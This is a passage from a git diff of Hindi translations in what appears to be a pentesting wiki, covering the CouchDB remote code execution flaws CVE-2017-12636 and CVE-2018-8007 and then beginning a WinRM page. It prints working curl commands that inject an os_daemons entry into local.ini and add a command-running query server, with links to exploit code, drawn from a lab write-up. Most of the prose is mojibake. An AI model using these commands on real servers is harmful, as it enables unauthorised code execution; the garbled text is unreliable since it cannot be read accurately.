рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЗ рдХрд╛рд░рдг рдпрд╣ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд▓рдХреНрд╖реНрдп рдкреНрд░рдгрд╛рд▓реА рдкрд░ рд╕реАрдзреЗ рд▓рд╛рдЧреВ рдирд╣реАрдВ рд╣реЛрддрд╛, рд▓реЗрдХрд┐рди рдЕрдиреНрд╡реЗрд╖рдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП `local.ini` рдлрд╝рд╛рдЗрд▓ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрди рдХрд┐рдП рдЧрдПред рдиреАрдЪреЗ рд╡рд┐рд╕реНрддреГрдд рдЪрд░рдг рдФрд░ рдХреЛрдб рдЙрджрд╛рд╣рд░рдг рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рд╣реИрдВ, рдЬреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддреЗ рд╣реИрдВред +рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдкреНрд░рдХрдЯ рд╣реБрдИ рдПрдХ рднреЗрджреНрдпрддрд╛, CVE-2018-8007, рдЬреЛ Apache CouchDB рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИ, рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛, рдЬрд┐рд╕рдореЗрдВ рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП `local.ini` рдлрд╝рд╛рдЗрд▓ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЗ рдХрд╛рд░рдг рдпрд╣ рд╕реАрдзреЗ рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдгрд╛рд▓реА рдкрд░ рд▓рд╛рдЧреВ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдиреНрд╡реЗрд╖рдг рдХреЗ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП `local.ini` рдлрд╝рд╛рдЗрд▓ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрди рдХрд┐рдП рдЧрдПред рдиреАрдЪреЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╕реНрддреГрдд рдЪрд░рдг рдФрд░ рдХреЛрдб рдЙрджрд╛рд╣рд░рдг рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рд╣реИрдВред рдкрд╣рд▓реЗ, рд╡рд╛рддрд╛рд╡рд░рдг рдХреЛ рдЗрд╕ рдмрд╛рдд рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдХреЗ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ `local.ini` рдлрд╝рд╛рдЗрд▓ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рд╣реИ, рдЬрд┐рд╕реЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рдХрд░ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: ```bash @@ -143,11 +143,11 @@ root@canape:/home/homer/etc# ls -l -r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk -r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args ``` -рдХрдордЬреЛрд░реА рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ curl рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреА рдЬрд╛рддреА рд╣реИ, рдЬреЛ `local.ini` рдореЗрдВ `cors/origins` рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддреА рд╣реИред рдпрд╣ `[os_daemons]` рдЕрдиреБрднрд╛рдЧ рдХреЗ рддрд╣рдд рдЕрддрд┐рд░рд┐рдХреНрдд рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдПрдХ рдирдпрд╛ рдореВрд▓ рдЬреЛрдбрд╝рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╣реИ: +рдЗрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ curl рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреА рдЬрд╛рддреА рд╣реИ, рдЬреЛ `local.ini` рдореЗрдВ `cors/origins` рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддреА рд╣реИред рдпрд╣ `[os_daemons]` рдЕрдиреБрднрд╛рдЧ рдХреЗ рддрд╣рдд рдЕрддрд┐рд░рд┐рдХреНрдд рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдПрдХ рдирдпрд╛ рдореВрд▓ рдЬреЛрдбрд╝рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдордирдорд╛рдиреЗ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╣реИ: ```bash www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf" ``` -рдкрд╢реНрдЪрд╛рдд рд╕рддреНрдпрд╛рдкрди `local.ini` рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХреА рдЧрдИ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рджрд┐рдЦрд╛рддрд╛ рд╣реИ, рдЗрд╕реЗ рдмреИрдХрдЕрдк рдХреЗ рд╕рд╛рде рддреБрд▓рдирд╛ рдХрд░рдХреЗ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ: +рдкрд╢реНрдЪрд╛рдд рд╕рддреНрдпрд╛рдкрди `local.ini` рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХреА рдЧрдИ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рджрд┐рдЦрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдмреИрдХрдЕрдк рдХреЗ рд╕рд╛рде рддреБрд▓рдирд╛ рдХреА рдЧрдИ рд╣реИ: ```bash root@canape:/home/homer/etc# diff local.ini local.ini.bk 119,124d118 @@ -160,7 +160,7 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk ```bash root@canape:/home/homer/bin# ps aux | grep couch ``` -рдкрд╣рдЪрд╛рдиреЗ рдЧрдП CouchDB рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдХреЗ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЗрд╕реЗ рдкреБрдирдГ рдкреНрд░рд╛рд░рдВрдн рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдХрд░, рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдП рдЧрдП рдХрдорд╛рдВрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдкрд╣рд▓реЗ рдЧрд╛рдпрдм рдлрд╝рд╛рдЗрд▓ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рд╕реЗ рдкреБрд╖реНрдЯрд┐ рдХреА рдЬрд╛рддреА рд╣реИ: +рдкрд╣рдЪрд╛рдиреЗ рдЧрдП CouchDB рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдХреЗ рдФрд░ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЗрд╕реЗ рдкреБрдирдГ рдкреНрд░рд╛рд░рдВрдн рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдХрд░, рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдП рдЧрдП рдХрдорд╛рдВрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдкрд╣рд▓реЗ рдЧрд╛рдпрдм рдлрд╝рд╛рдЗрд▓ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рд╕реЗ рдкреБрд╖реНрдЯрд┐ рдХреА рдЬрд╛рддреА рд╣реИ: ```bash root@canape:/home/homer/etc# kill 711 root@canape:/home/homer/etc# ls /tmp/0xdf @@ -168,13 +168,13 @@ root@canape:/home/homer/etc# ls /tmp/0xdf ``` рдпрд╣ рдЕрдиреНрд╡реЗрд╖рдг рд╡рд┐рд╢реЗрд╖ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рддрд╣рдд CVE-2018-8007 рд╢реЛрд╖рдг рдХреА рд╡реНрдпрд╡рд╣рд╛рд░реНрдпрддрд╛ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рддрд╛ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ `local.ini` рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ред рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдХреЛрдб рдЙрджрд╛рд╣рд░рдг рдФрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛рддреНрдордХ рдЪрд░рдг рдирд┐рдпрдВрддреНрд░рд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╢реЛрд╖рдг рдХреЛ рджреЛрд╣рд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрдкрд╖реНрдЯ рдорд╛рд░реНрдЧрджрд░реНрд╢рд┐рдХрд╛ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред -CVE-2018-8007 рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП, mdsec рджреНрд╡рд╛рд░рд╛ рд╕рд▓рд╛рд╣ рдХрд╛ рд╕рдВрджрд░реНрдн рд▓реЗрдВ: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)ред +CVE-2018-8007 рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП, mdsec рджреНрд╡рд╛рд░рд╛ рд╕рд▓рд╛рд╣рдХрд╛рд░ рдХреА рдУрд░ рджреЗрдЦреЗрдВ: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)ред ### **local.ini рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде CVE-2017-12636 рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг** рдЙрджрд╛рд╣рд░рдг [рдпрд╣рд╛рдВ рд╕реЗ](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)ред -CVE-2017-12636 рдХреЗ рд░реВрдк рдореЗрдВ рдЬреНрдЮрд╛рдд рдПрдХ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛, рдЬреЛ CouchDB рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЗрд╕рдХреЗ рд╢реЛрд╖рдг рдХреЛ рд░реЛрдХ рд╕рдХрддреЗ рд╣реИрдВред рдСрдирд▓рд╛рдЗрди рдЙрдкрд▓рдмреНрдз рдХрдИ рдкреНрд░рдорд╛рдгрд┐рдд рдЕрд╡рдзрд╛рд░рдгрд╛рдУрдВ (POC) рдХреЗ рд╕рдВрджрд░реНрднреЛрдВ рдХреЗ рдмрд╛рд╡рдЬреВрдж, CouchDB рд╕рдВрд╕реНрдХрд░рдг 2 рдкрд░ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рдпреЛрдЬрди рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВ, рдЬреЛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рд▓рдХреНрд╖рд┐рдд рд╕рдВрд╕реНрдХрд░рдг 1.x рд╕реЗ рднрд┐рдиреНрди рд╣реИрдВред рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЪрд░рдгреЛрдВ рдореЗрдВ CouchDB рд╕рдВрд╕реНрдХрд░рдг рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдирд╛ рдФрд░ рдЕрдкреЗрдХреНрд╖рд┐рдд рдХреНрд╡реЗрд░реА рд╕рд░реНрд╡рд░реЛрдВ рдХреЗ рдкрде рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ: +CVE-2017-12636 рдХреЗ рд░реВрдк рдореЗрдВ рдЬреНрдЮрд╛рдд рдПрдХ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдЕрдиреНрд╡реЗрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛, рдЬреЛ CouchDB рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЗрд╕рдХреЗ рд╢реЛрд╖рдг рдХреЛ рд░реЛрдХ рд╕рдХрддреЗ рд╣реИрдВред рдСрдирд▓рд╛рдЗрди рдЙрдкрд▓рдмреНрдз рдХрдИ рдкреНрд░рдорд╛рдгрд┐рдд рдЕрд╡рдзрд╛рд░рдгрд╛рдУрдВ (POC) рдХреЗ рд╕рдВрджрд░реНрднреЛрдВ рдХреЗ рдмрд╛рд╡рдЬреВрдж, CouchDB рд╕рдВрд╕реНрдХрд░рдг 2 рдкрд░ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рдпреЛрдЬрди рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВ, рдЬреЛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рд▓рдХреНрд╖рд┐рдд рд╕рдВрд╕реНрдХрд░рдг 1.x рд╕реЗ рднрд┐рдиреНрди рд╣реИред рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЪрд░рдгреЛрдВ рдореЗрдВ CouchDB рд╕рдВрд╕реНрдХрд░рдг рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдирд╛ рдФрд░ рдЕрдкреЗрдХреНрд╖рд┐рдд рдХреНрд╡реЗрд░реА рд╕рд░реНрд╡рд░реЛрдВ рдХреЗ рдкрде рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ: ```bash curl http://localhost:5984 curl http://0xdf:df@localhost:5984/_config/query_servers/ @@ -184,7 +184,7 @@ CouchDB рд╕рдВрд╕реНрдХрд░рдг 2.0 рдХреЗ рд▓рд┐рдП, рдПрдХ рдирдпрд╛ рдкрде рдЙ curl 'http://0xdf:df@localhost:5984/_membership' curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers ``` -рдирдП рдХреНрд╡реЗрд░реА рд╕рд░реНрд╡рд░ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдФрд░ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ рдЕрдиреБрдорддрд┐ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рдирд╛ рдкрдбрд╝рд╛, рдЬреИрд╕рд╛ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЖрдЙрдЯрдкреБрдЯ рджреНрд╡рд╛рд░рд╛ рд╕рдВрдХреЗрддрд┐рдд рд╣реИ: +рдирдП рдХреНрд╡реЗрд░реА рд╕рд░реНрд╡рд░ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдФрд░ рдЙрд╕реЗ рд╕рдХреНрд░рд┐рдп рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЛ рдЕрдиреБрдорддрд┐ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рдирд╛ рдкрдбрд╝рд╛, рдЬреИрд╕рд╛ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЖрдЙрдЯрдкреБрдЯ рджреНрд╡рд╛рд░рд╛ рд╕рдВрдХреЗрддрд┐рдд рд╣реИ: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` @@ -193,17 +193,17 @@ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b chmod 666 /home/homer/etc/local.ini ``` -рдХреНрд╡реЗрд░реА рд╕рд░реНрд╡рд░ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╛рдж рдХреЗ рдкреНрд░рдпрд╛рд╕ рд╕рдлрд▓ рд░рд╣реЗ, рдЬреИрд╕рд╛ рдХрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢реЛрдВ рдХреА рдХрдореА рд╕реЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рд╣реЛрддрд╛ рд╣реИред `local.ini` рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рдлрд▓ рд╕рдВрд╢реЛрдзрди рдХреА рдкреБрд╖реНрдЯрд┐ рдлрд╝рд╛рдЗрд▓ рддреБрд▓рдирд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреА рдЧрдИ: +рдЕрдЧрд▓реЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдореЗрдВ рдХреНрд╡реЗрд░реА рд╕рд░реНрд╡рд░ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдореЗрдВ рд╕рдлрд▓рддрд╛ рдорд┐рд▓реА, рдЬреИрд╕рд╛ рдХрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢реЛрдВ рдХреА рдХрдореА рд╕реЗ рд╕реНрдкрд╖реНрдЯ рд╣реИред `local.ini` рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рдлрд▓ рд╕рдВрд╢реЛрдзрди рдХреА рдкреБрд╖реНрдЯрд┐ рдлрд╝рд╛рдЗрд▓ рддреБрд▓рдирд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреА рдЧрдИ: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` -рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдПрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рдФрд░ рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдмрдирд╛рдиреЗ рдХреЗ рд╕рд╛рде рдЬрд╛рд░реА рд░рд╣реА, рдЗрд╕рдХреЗ рдмрд╛рдж рдирдП рдЬреЛрдбрд╝реЗ рдЧрдП рдХреНрд╡реЗрд░реА рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рдХрд╕реНрдЯрдо рд╡реНрдпреВ рдореИрдкрд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛: +рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдПрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рдФрд░ рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдмрдирд╛рдиреЗ рдХреЗ рд╕рд╛рде-рд╕рд╛рде рдирдП рдЬреЛрдбрд╝реЗ рдЧрдП рдХреНрд╡реЗрд░реА рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП рдХрд╕реНрдЯрдо рд╡реНрдпреВ рдореИрдкрд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/df' curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}' curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' ``` -A [**рд╕рд╛рд░рд╛рдВрд╢**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) рдЬрд┐рд╕рдореЗрдВ рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдкреЗрд▓реЛрдб рд╣реИ, рд╡рд┐рд╢реЗрд╖ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рддрд╣рдд CVE-2017-12636 рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдЙрдкрдпреЛрдЧреА рд╕рдВрд╕рд╛рдзрди** рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: +A [**рд╕рд╛рд░рд╛рдВрд╢**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) рдЬрд┐рд╕рдореЗрдВ рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдкреЗрд▓реЛрдб рд╣реИ, рд╡рд┐рд╢реЗрд╖ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рддрд╣рдд CVE-2017-12636 рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдФрд░ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдЙрдкрдпреЛрдЧреА рд╕рдВрд╕рд╛рдзрди** рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: - [POC рд╢реЛрд╖рдг рдХреЛрдб](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py) - [рд╢реЛрд╖рдг рдбреЗрдЯрд╛рдмреЗрд╕ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐](https://www.exploit-db.com/exploits/44913/) diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index 29b8a140c..2331934ca 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -4,70 +4,70 @@ ## WinRM -[Windows Remote Management (WinRM)]() рдХреЛ **Microsoft рджреНрд╡рд╛рд░рд╛ рдПрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓** рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ **Windows рд╕рд┐рд╕реНрдЯрдо рдХрд╛ рджреВрд░рд╕реНрде рдкреНрд░рдмрдВрдзрди** HTTP(S) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ, рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ SOAP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред рдпрд╣ рдореВрд▓ рд░реВрдк рд╕реЗ WMI рджреНрд╡рд╛рд░рд╛ рд╕рдВрдЪрд╛рд▓рд┐рдд рд╣реИ, рдЬреЛ WMI рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП рдПрдХ HTTP-рдЖрдзрд╛рд░рд┐рдд рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рд╕реНрддреБрдд рд╣реЛрддрд╛ рд╣реИред +[Windows Remote Management (WinRM)]() рдХреЛ **Microsoft рджреНрд╡рд╛рд░рд╛ рдПрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓** рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ **Windows рд╕рд┐рд╕реНрдЯрдо рдХрд╛ рджреВрд░рд╕реНрде рдкреНрд░рдмрдВрдзрди** HTTP(S) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ, 